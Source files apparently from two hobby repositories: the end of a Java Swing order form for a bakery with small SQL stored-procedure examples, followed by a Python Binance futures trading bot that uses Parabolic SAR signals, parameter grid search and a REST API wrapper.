.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel14)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(txtACuenta, javax.swing.GroupLayout.PREFERRED_SIZE, 78, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel18)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 33, Short.MAX_VALUE)
.addComponent(txtImporteBase, javax.swing.GroupLayout.PREFERRED_SIZE, 74, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(38, 38, 38)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel15, javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel13, javax.swing.GroupLayout.Alignment.TRAILING))
.addGap(18, 18, 18)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(txtTotal, javax.swing.GroupLayout.PREFERRED_SIZE, 56, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(txtResta, javax.swing.GroupLayout.PREFERRED_SIZE, 56, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(79, 79, 79)
.addComponent(btnGenerar))))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel2Layout.createSequentialGroup()
.addComponent(jLabel11)
.addGap(27, 27, 27)
.addComponent(txtFigura, javax.swing.GroupLayout.PREFERRED_SIZE, 339, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(btnBuscar, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel10)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(txtFelicidades, javax.swing.GroupLayout.PREFERRED_SIZE, 337, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))))
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel12)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(calendarEntrega, javax.swing.GroupLayout.PREFERRED_SIZE, 146, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGap(113, 113, 113)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel5)
.addComponent(buttonEnvinado)
.addComponent(button3L)
.addComponent(buttonAmericano))
.addGap(27, 27, 27)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel7)
.addComponent(cbxKilos, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel6))
.addComponent(cbxSabor, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(30, 30, 30)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(cbxRelleno, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel8)
.addComponent(cbxColorDec, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel9))
.addGap(29, 29, 29)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel12)
.addComponent(calendarEntrega, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel10)
.addComponent(txtFelicidades, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(33, 33, 33)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel11)
.addComponent(txtFigura, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(btnBuscar))
.addGap(31, 31, 31)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(txtTotal, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel13)
.addComponent(txtImporteBase, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel18))
.addGap(18, 18, 18)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(btnGenerar)
.addComponent(txtResta, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel15)
.addComponent(txtACuenta, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel14))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(128, 128, 128)
.addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, 178, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGap(113, 113, 113)
.addComponent(jLabel1)))
.addGap(0, 185, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 14, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jLabel2)
.addGap(4, 4, 4)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void btnGenerarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnGenerarActionPerformed
AgregaProcedimiento();
BuscaUltimoID();
}//GEN-LAST:event_btnGenerarActionPerformed
private void AgregaProcedimiento(){
Connection c = Coneccion.conexion();
if(c != null){
try {
CallableStatement cs = c.prepareCall("{Call dbo.AltaPedidos(?,?,?,?,?,?,?,?,?,?,?,?,?)}");
} catch (Exception e) {
JOptionPane.showMessageDialog(null, "Error"+e.getMessage());
}
}
}
private void BuscaUltimoID(){
Connection c = Coneccion.conexion();
String query1 = "select max(id_Pedido) from Pedidos";
try{
PreparedStatement ps = c.prepareStatement(query1);
ResultSet rs = ps.executeQuery();
if(rs.next()){
labelN.setText(rs.getString("id_Pedido"));
}
}catch(Exception e){
}
}
private void btnBuscarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnBuscarActionPerformed
JFileChooser fileChooser = new JFileChooser();
int result = fileChooser.showSaveDialog(null);
if(result == JFileChooser.APPROVE_OPTION){
url = fileChooser.getSelectedFile().toString();
System.out.println(url);
txtFigura.setText(url);
}
}//GEN-LAST:event_btnBuscarActionPerformed
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new Pedidos().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton btnBuscar;
private javax.swing.JButton btnGenerar;
private javax.swing.JRadioButton button3L;
private javax.swing.JRadioButton buttonAmericano;
private javax.swing.JRadioButton buttonEnvinado;
private com.toedter.calendar.JDateChooser calendarEntrega;
private javax.swing.JComboBox<String> cbxColorDec;
private javax.swing.JComboBox<String> cbxKilos;
private javax.swing.JComboBox<String> cbxRelleno;
private javax.swing.JComboBox<String> cbxSabor;
private javax.swing.ButtonGroup groupPastel;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel10;
private javax.swing.JLabel jLabel11;
private javax.swing.JLabel jLabel12;
private javax.swing.JLabel jLabel13;
private javax.swing.JLabel jLabel14;
private javax.swing.JLabel jLabel15;
private javax.swing.JLabel jLabel18;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JLabel labelN;
private javax.swing.JPanel panelNumero;
private javax.swing.JTextField txtACuenta;
private javax.swing.JTextField txtFechaPedido;
private javax.swing.JTextField txtFelicidades;
private javax.swing.JTextField txtFigura;
private javax.swing.JTextField txtImporteBase;
private javax.swing.JTextField txtResta;
private javax.swing.JTextField txtTotal;
// End of variables declaration//GEN-END:variables
}
<file_sep>CREATE PROCEDURE SP_Prueba1
--Determina bajo que contexto se creara dicho procedimiento
as
print 'Hola Mundo'
EXECUTE SP_Prueba1
CREATE PROCEDURE SP_Consulta
AS
select * from Producto
where idproducto = '2'
EXECUTE SP_Consulta | ef2620309a9e25f70b2879e803f5133a76bc0dfb | [
"Java",
"SQL"
] | 3 | Java | sandyCortes/PasteleriaJava | 9db54f0ed56220d17ddc50aa77846225a3fb2ac6 | 13541aa9b2fbfce8b0dd89ba98dc0581440818b2 |
refs/heads/master | <file_sep>from main.candle_monitor import buy_signal, sell_signal
from main.Allert import side_signal
from main.functions import *
from api_data import api, secret
from binance.client import Client
from datetime import datetime as dt
import time
client = Client(api, secret)
tiker = 'ONEUSDT'
# получаем лимиты по тикеру
tik_limits = get_limits(tiker)
# данные для индикатора
acceleration = 0.02
maximum = 0.2
indic_period = (acceleration, maximum)
# take profits in %
tp1, tp2, tp3 = 5, 10, 15
# sleep до начала нового часа
wait_time = ((60 - dt.now().minute) * 60) - dt.now().second
time.sleep(wait_time)
# данные для ордеров
long = False
short = False
quantity = 0
# проверка индикатора для начальной позиции
if side_signal(tiker, indic_period) == 'Waiting_short':
long = True
print('wait_for short')
if side_signal(tiker, indic_period) == 'Waiting_long':
short = True
print('wait for long')
# запуск цикла
while True:
if long:
# получаем сигнал на продажу
if sell_signal(tiker, indic_period):
if long:
# создаем ордер close long
try:
long_close_order = client.futures_create_order(
symbol=tiker,
side='SELL',
positionSide='BOTH',
type='MARKET',
quantity=quantity,
reduceOnly='true',
recvWindow=5000,
)
print('Close-Long Order done')
long = False
except:
pass
long = False
if not short:
# создаем ордер на продажу
# расчитываем данные для ордера
orders = client.futures_order_book(symbol=tiker, limit=5) # последние 5 ордеров
price = orders['bids'][0][0] # ближайший ордер на покупку
quantity = adjust_to_step(100 / float(price), tik_limits['filters'][2]['stepSize']) # кол монет на 100$
# создаем ордер open short
sell_order = client.futures_create_order(
symbol=tiker,
side='SELL',
positionSide='BOTH',
type='MARKET',
recvWindow=5000,
quantity=quantity
)
print('Short Order done')
short = True
# создаем take_profit ордера
short_tp_1 = client.futures_create_order(
symbol=tiker,
side='BUY',
positionSide='BOTH',
type='LIMIT',
reduceOnly='true',
price=round(float(price) - ((float(price) / 100) * tp1), 4),
quantity=round(((quantity / 100) * 25), 0),
recvWindow=5000,
timeInForce='GTC'
)
short_tp_2 = client.futures_create_order(
symbol=tiker,
side='BUY',
positionSide='BOTH',
type='LIMIT',
reduceOnly='true',
price=round(float(price) - ((float(price) / 100) * tp2), 4),
quantity=round(((quantity / 100) * 25), 0),
recvWindow=5000,
timeInForce='GTC'
)
short_tp_3 = client.futures_create_order(
symbol=tiker,
side='BUY',
positionSide='BOTH',
type='LIMIT',
reduceOnly='true',
price=round(float(price) - ((float(price) / 100) * tp3), 4),
quantity=round(((quantity / 100) * 25), 0),
recvWindow=5000,
timeInForce='GTC'
)
time.sleep(3580)
if short:
# получаем сигнал на покупку
if buy_signal(tiker, indic_period):
if short:
# создаем ордер close short
try:
short_close_order = client.futures_create_order(
symbol=tiker,
side='BUY',
positionSide='BOTH',
quantity=quantity,
reduceOnly='true',
type='MARKET',
recvWindow=5000,
)
print('Short-Close Order done')
short = False
except:
pass
short = False
# создаем ордер на покупку
# расчитываем данные для ордера
if not long:
orders = client.futures_order_book(symbol=tiker, limit=5) # последние 5 ордеров
price = orders['asks'][0][0] # ближайший ордер на продажу
quantity = adjust_to_step(100 / float(price), tik_limits['filters'][2]['stepSize']) # кол монет на 100$
# создаем ордер open long
buy_order = client.futures_create_order(
symbol=tiker,
side='BUY',
positionSide='BOTH',
type='MARKET',
recvWindow=5000,
quantity=quantity
)
print('Long Order done')
long = True
# создаем take_profit ордера
long_tp_1 = client.futures_create_order(
symbol=tiker,
side='SELL',
positionSide='BOTH',
type='LIMIT',
reduceOnly='true',
price=round(float(price) + ((float(price) / 100) * tp1), 4),
quantity=round(((quantity / 100) * 25), 0),
recvWindow=5000,
timeInForce='GTC'
)
long_tp_2 = client.futures_create_order(
symbol=tiker,
side='SELL',
positionSide='BOTH',
type='LIMIT',
reduceOnly='true',
price=round(float(price) + ((float(price) / 100) * tp2), 4),
quantity=round(((quantity / 100) * 25), 0),
recvWindow=5000,
timeInForce='GTC'
)
long_tp_3 = client.futures_create_order(
symbol=tiker,
side='SELL',
positionSide='BOTH',
type='LIMIT',
reduceOnly='true',
price=round(float(price) + ((float(price) / 100) * tp3), 4),
quantity=round(((quantity / 100) * 25), 0),
recvWindow=5000,
timeInForce='GTC'
)
time.sleep(3580)
<file_sep>from binance.client import Client
from datetime import datetime as dt
from api_data import api, secret
from Allert import allert_buy, allert_sell
import time
client = Client(api, secret)
def buy_signal(tiker, period):
"""проверка 1 час свечей на наличие сигнала на покупку"""
while True:
# запуск проверки кажды час
# if dt.now().minute == 59 and dt.now().second == 58 and (10 > dt.now().microsecond > 0):
if dt.now().minute == 0 and dt.now().second == 30:
if allert_buy(tiker, period):
# print('server_time: {}'.format(dt.fromtimestamp(client.get_server_time()['serverTime'] / 1000)))
# print('local_time: {}'.format(dt.now()))
print('Buy!')
return True
else:
# print('server_time: {}'.format(dt.fromtimestamp(client.get_server_time()['serverTime'] / 1000)))
# print('local_time: {}'.format(dt.now()))
# print('Not yet!')
time.sleep(3580)
pass
else:
pass
def sell_signal(tiker, period):
"""проверка 1 час свечей на наличие сигнала на продажу"""
while True:
# запуск проверки каждые 15 минут
# if dt.now().minute == 59 and dt.now().second == 58 and (10 > dt.now().microsecond > 0):
if dt.now().minute == 0 and dt.now().second == 30:
if allert_sell(tiker, period):
# print('server_time: {}'.format(dt.fromtimestamp(client.get_server_time()['serverTime'] / 1000)))
# print('local_time: {}'.format(dt.now()))
print('Sell!')
return True
else:
# print('server_time: {}'.format(dt.fromtimestamp(client.get_server_time()['serverTime'] / 1000)))
# print('local_time: {}'.format(dt.now()))
# print('Not yet!')
time.sleep(3580)
pass
else:
pass
<file_sep>from Trade_project.sar_grid_search.main.grid_search import f_klines_to_csv, grid_search
time_frame = ['30MINUTE', '1HOUR', '4HOUR']
for i in time_frame:
csv_data = f_klines_to_csv('ONEUSDT', i)
print(i)
grid_search(csv_data)
<file_sep># trading_bot
volume analyse / trading bot for binance
<file_sep>from binance.client import Client
import csv
from api_data import api, secret
client = Client(api, secret)
def f_klines_to_csv_15(tiker):
"""функция для получения данных 15 минутных свечей по тикеру
и записывающая в csv файл для последующего анализа"""
data = []
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_30MINUTE, limit=1440):
data.append(kline)
# write kline data to csv for analyse
with open(tiker + '30m' + '1m' + '.csv', 'w', newline='') as csvfile:
fieldnames = ['time', 'open', 'high', 'low', 'close', 'vol']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for i in data:
writer.writerow({'time': i[0], 'open': i[1], 'high': i[2], 'low': i[3], 'close': i[4],
'vol': i[5]})
return print('Csv file done')
# tickers_base = ['BTCUSDT']
# tickers = ['XRPUSDT', 'KNCUSDT', 'ICXUSDT', 'FTMUSDT', 'EOSUSDT', 'AXSUSDT', 'ADAUSDT', 'ALGOUSDT', 'ENJUSDT']
# for i in tickers:
# f_klines_to_csv_15(i)
<file_sep>from api_data import api, secret
from binance.client import Client
# Ф-ция, которая приводит любое число к числу, кратному шагу, указанному биржей
# Если передать параметр increase=True то округление произойдет к следующему шагу
def adjust_to_step(value, step, increase=False):
return ((int(value * 100000000) - int(value * 100000000) % int(
float(step) * 100000000)) / 100000000) + (float(step) if increase else 0)
client = Client(api, secret)
# функция, которая получает лимиты по тикеру
def get_limits(tiker):
limits = []
limits_from_bin = client.futures_exchange_info()
for elem in limits_from_bin['symbols']:
if elem['symbol'] == tiker:
limits = elem
break
return limits
<file_sep>import hashlib
import hmac
import time
import urllib
from urllib.parse import urlparse
import requests
class Binance():
methods = {
# public methods
'ping': {'url': 'api/v1/ping', 'method': 'GET', 'private': False},
'time': {'url': 'api/v1/time', 'method': 'GET', 'private': False},
'exchangeInfo': {'url': 'api/v1/exchangeInfo', 'method': 'GET', 'private': False},
'depth': {'url': 'api/v1/depth', 'method': 'GET', 'private': False},
'trades': {'url': 'api/v1/trades', 'method': 'GET', 'private': False},
'historicalTrades': {'url': 'api/v1/historicalTrades', 'method': 'GET', 'private': False},
'aggTrades': {'url': 'api/v1/aggTrades', 'method': 'GET', 'private': False},
'klines': {'url': 'api/v1/klines', 'method': 'GET', 'private': False},
'ticker24hr': {'url': 'api/v1/ticker/24hr', 'method': 'GET', 'private': False},
'tickerPrice': {'url': 'api/v3/ticker/price', 'method': 'GET', 'private': False},
'tickerBookTicker': {'url': 'api/v3/ticker/bookTicker', 'method': 'GET', 'private': False},
# private methods
'createOrder': {'url': 'api/v3/order', 'method': 'POST', 'private': True},
'testOrder': {'url': 'api/v3/order/test', 'method': 'POST', 'private': True},
'orderInfo': {'url': 'api/v3/order', 'method': 'GET', 'private': True},
'cancelOrder': {'url': 'api/v3/order', 'method': 'DELETE', 'private': True},
'openOrders': {'url': 'api/v3/openOrders', 'method': 'GET', 'private': True},
'allOrders': {'url': 'api/v3/allOrders', 'method': 'GET', 'private': True},
'account': {'url': 'api/v3/account', 'method': 'GET', 'private': True},
'myTrades': {'url': 'api/v3/myTrades', 'method': 'GET', 'private': True},
# wapi
'depositAddress': {'url': 'wapi/v3/depositAddress.html', 'method': 'GET', 'private': True},
'withdraw': {'url': 'wapi/v3/withdraw.html', 'method': 'POST', 'private': True},
'depositHistory': {'url': 'wapi/v3/depositHistory.html', 'method': 'GET', 'private': True},
'withdrawHistory': {'url': 'wapi/v3/withdrawHistory.html', 'method': 'GET', 'private': True},
'assetDetail': {'url': 'wapi/v3/assetDetail.html', 'method': 'GET', 'private': True},
'tradeFee': {'url': 'wapi/v3/tradeFee.html', 'method': 'GET', 'private': True},
'accountStatus': {'url': 'wapi/v3/accountStatus.html', 'method': 'GET', 'private': True},
'systemStatus': {'url': 'wapi/v3/systemStatus.html', 'method': 'GET', 'private': True},
'assetDust': {'url': 'sapi/v1/asset/dust', 'method': 'POST', 'private': True},
'dustLog': {'url': 'wapi/v3/userAssetDribbletLog.html', 'method': 'GET', 'private': True},
'assetAssetDividend': {'url': 'sapi/v1/asset/assetDividend', 'method': 'GET', 'private': True},
# sapi
'marginTransfer': {'url': 'sapi/v1/margin/transfer', 'method': 'POST', 'private': True},
'marginLoan': {'url': 'sapi/v1/margin/loan', 'method': 'POST', 'private': True},
'marginLoanGet': {'url': 'sapi/v1/margin/loan', 'method': 'GET', 'private': True},
'marginRepay': {'url': 'sapi/v1/margin/repay', 'method': 'POST', 'private': True},
'marginRepayGet': {'url': 'sapi/v1/margin/repay', 'method': 'GET', 'private': True},
'marginCreateOrder': {'url': 'sapi/v1/margin/order', 'method': 'POST', 'private': True},
'marginCancelOrder': {'url': 'sapi/v1/margin/order', 'method': 'DELETE', 'private': True},
'marginOrderInfo': {'url': 'sapi/v1/margin/order', 'method': 'GET', 'private': True},
'marginAccount': {'url': 'sapi/v1/margin/account', 'method': 'POST', 'private': True},
'marginOpenOrders': {'url': 'sapi/v1/margin/openOrders', 'method': 'GET', 'private': True},
'marginAllOrders': {'url': 'sapi/v1/margin/allOrders', 'method': 'GET', 'private': True},
'marginAsset': {'url': 'sapi/v1/margin/asset', 'method': 'POST', 'private': True},
'marginPair': {'url': 'sapi/v1/margin/pair', 'method': 'POST', 'private': True},
'marginPriceIndex': {'url': 'sapi/v1/margin/priceIndex', 'method': 'POST', 'private': True},
'marginMyTrades': {'url': 'sapi/v1/margin/myTrades', 'method': 'GET', 'private': True},
'marginMaxBorrowable': {'url': 'sapi/v1/margin/maxBorrowable', 'method': 'GET', 'private': True},
'marginmaxTransferable': {'url': 'sapi/v1/margin/maxTransferable', 'method': 'GET', 'private': True},
# futures
'futuresExchangeInfo': {'url': 'fapi/v1/exchangeInfo', 'method': 'GET', 'private': False, 'futures': True},
'futuresKlines': {'url': 'fapi/v1/klines', 'method': 'GET', 'private': False, 'futures': True},
'futuresCreateOrder': {'url': 'fapi/v1/order', 'method': 'POST', 'private': True, 'futures': True},
'futuresAccount': {'url': 'fapi/v1/account', 'method': 'POST', 'private': True, 'futures': True},
'futuresBalance': {'url': 'fapi/v1/balance', 'method': 'GET', 'private': True, 'futures': True},
'futuresSymbolPriceTicker': {'url': 'fapi/v1/ticker/price', 'method': 'GET', 'private': True, 'futures': True},
'futuresOrderInfo': {'url': 'fapi/v1/order', 'method': 'GET', 'private': True, 'futures': True},
'futuresCancelOrder': {'url': 'fapi/v1/order', 'method': 'DELETE', 'private': True, 'futures': True},
}
def __init__(self, API_KEY, API_SECRET):
self.API_KEY = API_KEY
self.API_SECRET = bytearray(API_SECRET, encoding='utf-8')
self.shift_seconds = 0
def __getattr__(self, name):
def wrapper(*args, **kwargs):
kwargs.update(command=name)
return self.call_api(**kwargs)
return wrapper
def set_shift_seconds(self, seconds):
self.shift_seconds = seconds
def call_api(self, **kwargs):
command = kwargs.pop('command')
base_url = 'https://api.binance.com/'
if self.methods[command].get('futures'):
base_url = 'https://fapi.binance.com/'
api_url = base_url + self.methods[command]['url']
payload = kwargs
headers = {}
payload_str = urllib.parse.urlencode(payload)
if self.methods[command]['private']:
payload.update({'timestamp': int(time.time() + self.shift_seconds - 1) * 1000})
payload_str = urllib.parse.urlencode(payload).encode('utf-8')
sign = hmac.new(
key=self.API_SECRET,
msg=payload_str,
digestmod=hashlib.sha256
).hexdigest()
payload_str = payload_str.decode("utf-8") + "&signature=" + str(sign)
headers = {"X-MBX-APIKEY": self.API_KEY, "Content-Type": "application/x-www-form-urlencoded"}
if self.methods[command]['method'] == 'GET' or self.methods[command]['url'].startswith('sapi'):
api_url += '?' + payload_str
response = requests.request(method=self.methods[command]['method'], url=api_url,
data="" if self.methods[command]['method'] == 'GET' else payload_str,
headers=headers)
if 'code' in response.text:
raise Exception(response.text)
return response.json()
<file_sep>import csv
import os
from pathlib import Path
from datetime import datetime as dt
import numpy as np
import pandas as pd
from binance.client import Client
from talib._ta_lib import *
from api_data import api, secret
client = Client(api, secret)
def f_klines_to_csv(tiker, timeframe):
"""функция для получения данных свечей по тикеру
и записывающая в csv файл для последующего анализа"""
data = []
if timeframe == '30MINUTE':
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_30MINUTE, limit=1440):
data.append(kline)
# write kline data to csv for analyse
if timeframe == '1HOUR':
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_1HOUR, limit=720):
data.append(kline)
# write kline data to csv for analyse
if timeframe == '4HOUR':
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_4HOUR, limit=180):
data.append(kline)
# write kline data to csv for analyse
now = dt.now().date()
file_name = tiker + timeframe + '1m' + '.csv'
path = Path(str(now) + tiker + '/')
if os.path.exists(path):
pass
else:
path.mkdir()
file_path = os.path.join(path, file_name)
with open(file_path, 'w', newline='') as csvfile:
fieldnames = ['time', 'open', 'high', 'low', 'close', 'vol']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for i in data:
writer.writerow({'time': i[0], 'open': i[1], 'high': i[2], 'low': i[3], 'close': i[4],
'vol': i[5]})
return str(file_path)
def Indicators_sar_test(df, indics):
a, b = indics
volume = df.vol
open = df.open
close = df.close
high = df.high
low = df.low
sar = SAR(high, low, maximum=a, acceleration=b)
df = df.join(pd.DataFrame(
{
'sar': sar,
}))
return df
def profit_base_long(df):
open_long = []
close_long = []
sar = df.sar
open = df.open
buy = False
for i in range(1, (len(open)-1)):
if buy:
if sar[i] > open[i]:
close_long.append(open[i+1])
buy = False
else:
if sar[i] < open[i]:
open_long.append(open[i+1])
buy = True
pnl_buy = pd.DataFrame({'open_long': open_long})
pnl_sell = pd.DataFrame({'close_long': close_long})
pnl = pnl_buy.join(pnl_sell)
pnl = pnl.dropna()
return pnl
def profit_base_short(df):
open_short = []
close_short = []
sar = df.sar
open = df.open
sell = False
for i in range(1, (len(open)-1)):
if sell:
if sar[i] < open[i]:
close_short.append(open[i+1])
sell = False
else:
if sar[i] > open[i]:
open_short.append(open[i+1])
sell = True
pnl_buy = pd.DataFrame({'open_short': open_short})
pnl_sell = pd.DataFrame({'close_short': close_short})
pnl = pnl_buy.join(pnl_sell)
pnl = pnl.dropna()
return pnl
def testing_long(df):
m = 50
y = 0
for index, row in df.iterrows():
y = (100 / row[0]) * row[1]
if y > 100:
x = y - 100
m += x
if y < 100:
delta = 100 - y
m -= delta
return m + y
def testing_short(df):
m = 50
y = 0
for index, row in df.iterrows():
profit = ((100/row[1]) - (100/row[0])) * row[1]
y = profit + 100
if y > 100:
x = y - 100
m += x
if y < 100:
delta = 100 - y
m -= delta
return m + 100
def grid_search(csv_data):
data = pd.read_csv(str(csv_data))
data['time'] = pd.to_datetime(data.time, unit='ms')
data.index = data.time
data = data.drop(columns='time')
a = list(np.arange(0.001, 0.01, 0.001))
b = list(np.arange(0.01, 0.1, 0.01))
c = [0.1, 0.2]
order_acc = a + b + c
order_max = np.arange(0.01, 0.1, 0.01)
best_res = 0
best_order = ()
for a in order_acc:
for b in order_max:
indics = (a, b)
data_i = Indicators_sar_test(data, indics)
data_i = data_i.dropna()
pnl_long = profit_base_long(data_i)
res_long = testing_long(pnl_long)
pnl_short = profit_base_short(data_i)
res_short = testing_short(pnl_short)
res = res_long + res_short
if res > best_res:
best_res = res
best_order = indics
return print('Best_order: {} - Best_Res: {}'.format(best_order, best_res))
<file_sep>from binance.websockets import BinanceSocketManager
from binance.client import Client
from binance.enums import *
def process_message(msg):
if msg['e'] == 'error':
bm.stop_socket(conn_key)
else:
print('message type: {}'.format((msg['e'])))
print(msg)
api = '<KEY>'
secret = '<KEY>'
client = Client(api, secret)
bm = BinanceSocketManager(client, user_timeout=3)
conn_key = bm.start_kline_socket('BNBUSDT', process_message, interval=KLINE_INTERVAL_30MINUTE)
bm.start()
<file_sep>from candle_monitor import buy_signal, sell_signal
from functions import *
from api_data import api, secret
from binance.client import Client
from datetime import datetime as dt
import time
client = Client(api, secret)
tiker = 'ONEUSDT'
quantity = 5
try:
long_close_order = client.futures_create_order(
symbol=tiker,
